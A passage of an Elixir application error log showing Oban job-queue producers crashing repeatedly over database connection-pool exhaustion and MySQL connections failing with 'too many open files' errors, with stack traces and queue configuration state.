dispatch_timer: #Reference<0.2525715032.1099431938.47555>, refresh_timer: #Reference<0.2525715032.1077673987.23394>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:08:20.239852Z], limit: 20, uuid: "c15257f5-ceb8-41cf-8c9b-dc2883805387", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:20.239857Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23395>, refresh_timer: #Reference<0.2525715032.1077673987.23393>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:08:20.239713Z], limit: 5, uuid: "1b81682f-bc39-49f6-8939-1894f8d046c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:20.239719Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47556>, refresh_timer: #Reference<0.2525715032.1068498948.48233>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:08:20.239685Z], limit: 10, uuid: "2a8e214c-f4a9-4b32-bbdd-0e14339b8dda", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:20.239693Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47554>, refresh_timer: #Reference<0.2525715032.1077673987.23384>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:08:20.239748Z], limit: 3, uuid: "4c76d640-3e27-4a21-811d-da92de7eeecc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:20.239753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47557>, refresh_timer: #Reference<0.2525715032.1121189889.159957>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:08:20.239931Z], limit: 5, uuid: "425ca946-4288-4ebf-aef8-685e2071eccd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:20.239936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23396>, refresh_timer: #Reference<0.2525715032.1068498948.48237>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:34.235000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:34.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:34.619000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:35.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:39.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:43.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:08:32.238434Z], limit: 50, uuid: "c8594602-bc95-43c8-ada0-6c5a3e62256e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:32.238440Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47898>, refresh_timer: #Reference<0.2525715032.1068498948.48263>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:08:32.240580Z], limit: 5, uuid: "3bf8b422-1191-41c2-808d-b781b5c696f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:32.240585Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47900>, refresh_timer: #Reference<0.2525715032.1121189889.160221>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:08:32.238981Z], limit: 5, uuid: "08339fd3-0399-4b84-a99e-1e1fabcd4ca4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:32.238987Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47897>, refresh_timer: #Reference<0.2525715032.1068498948.48264>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
